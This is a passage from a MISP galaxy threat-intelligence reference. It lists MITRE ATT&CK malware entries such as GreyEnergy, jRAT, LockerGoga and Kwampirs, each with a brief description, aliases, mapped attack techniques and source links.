uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"

Table 3326. Table References
Links
https://attack.mitre.org/software/S0234
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf

DealersChoice - S0243

[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)

The tag is: misp-galaxy:mitre-malware="DealersChoice - S0243"

DealersChoice - S0243 is also known as:

DealersChoice

DealersChoice - S0243 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3327. Table References
Links
https://attack.mitre.org/software/S0243
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/

SpyDealer - S0324

[SpyDealer](https://attack.mitre.org/software/S0324) is Android malware that exfiltrates sensitive data from Android devices. (Citation: PaloAlto-SpyDealer)

The tag is: misp-galaxy:mitre-malware="SpyDealer - S0324"

SpyDealer - S0324 is also known as:

SpyDealer

SpyDealer - S0324 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 3328. Table References
Links
https://attack.mitre.org/software/S0324
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/

GreyEnergy - S0342

[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)

The tag is: misp-galaxy:mitre-malware="GreyEnergy - S0342"

GreyEnergy - S0342 is also known as:

GreyEnergy

GreyEnergy - S0342 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3329. Table References
Links
https://attack.mitre.org/software/S0342
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

CrossRAT - S0235

[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.

The tag is: misp-galaxy:mitre-malware="CrossRAT - S0235"

CrossRAT - S0235 is also known as:

CrossRAT

CrossRAT - S0235 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 3330. Table References
Links
https://attack.mitre.org/software/S0235
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

RunningRAT - S0253

[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)

The tag is: misp-galaxy:mitre-malware="RunningRAT - S0253"

RunningRAT - S0253 is also known as:

RunningRAT

RunningRAT - S0253 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 3331. Table References
Links
https://attack.mitre.org/software/S0253
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Judy - S0325

[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)

The tag is: misp-galaxy:mitre-malware="Judy - S0325"

Judy - S0325 is also known as:

Judy

Judy - S0325 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 3332. Table References
Links
https://attack.mitre.org/software/S0325
https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/

TYPEFRAME - S0263

[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)

The tag is: misp-galaxy:mitre-malware="TYPEFRAME - S0263"

TYPEFRAME - S0263 is also known as:

TYPEFRAME

TYPEFRAME - S0263 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 3333. Table References
Links
https://attack.mitre.org/software/S0263
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

RedDrop - S0326

[RedDrop](https://attack.mitre.org/software/S0326) is an Android malware family that exfiltrates sensitive data from devices. (Citation: Wandera-RedDrop)

The tag is: misp-galaxy:mitre-malware="RedDrop - S0326"

RedDrop - S0326 is also known as:

RedDrop

RedDrop - S0326 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"

Table 3334. Table References
Links
https://attack.mitre.org/software/S0326
https://www.wandera.com/reddrop-malware/

Kwampirs - S0236

[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)

The tag is: misp-galaxy:mitre-malware="Kwampirs - S0236"

Kwampirs - S0236 is also known as:

Kwampirs

Kwampirs - S0236 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 3335. Table References
Links
https://attack.mitre.org/software/S0236
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

GravityRAT - S0237

[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are "TheMartian" and "The Invincible." According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)

The tag is: misp-galaxy:mitre-malware="GravityRAT - S0237"

GravityRAT - S0237 is also known as:

GravityRAT

GravityRAT - S0237 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3336. Table References
Links
https://attack.mitre.org/software/S0237
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

LockerGoga - S0372

[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)

The tag is: misp-galaxy:mitre-malware="LockerGoga - S0372"

LockerGoga - S0372 is also known as:

LockerGoga

LockerGoga - S0372 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 3337. Table References
Links
https://attack.mitre.org/software/S0372
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/

Socksbot - S0273

[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)

The tag is: misp-galaxy:mitre-malware="Socksbot - S0273"

Socksbot - S0273 is also known as:

Socksbot

Socksbot - S0273 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 3338. Table References
Links
https://attack.mitre.org/software/S0273
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

Skygofree - S0327

[Skygofree](https://attack.mitre.org/software/S0327) is Android spyware that is believed to have been developed in 2014 and used through at least 2017. (Citation: Kaspersky-Skygofree)

The tag is: misp-galaxy:mitre-malware="Skygofree - S0327"

Skygofree - S0327 is also known as:

Skygofree

Skygofree - S0327 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

Table 3339. Table References
Links
https://attack.mitre.org/software/S0327
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

jRAT - S0283

[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)

The tag is: misp-galaxy:mitre-malware="jRAT - S0283"

jRAT - S0283 is also known as:

jRAT
JSocket
AlienSpy
Frutas
Sockrat
Unrecom
jFrutas
Adwind
jBiFrost
Trojan.Maljava

jRAT - S0283 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3340. Table References
Links
https://attack.mitre.org/software/S0283
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf
https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques
https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

ServHelper - S0382

[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)

The tag is: misp-galaxy:mitre-malware="ServHelper - S0382"

ServHelper - S0382 is also known as:

ServHelper

ServHelper - S0382 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 3341. Table References
Links
https://attack.mitre.org/software/S0382
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

Proxysvc - S0238

[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)

The tag is: misp-galaxy:mitre-malware="Proxysvc - S0238"

Proxysvc - S0238 is also known as:

Proxysvc

Proxysvc - S0238 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
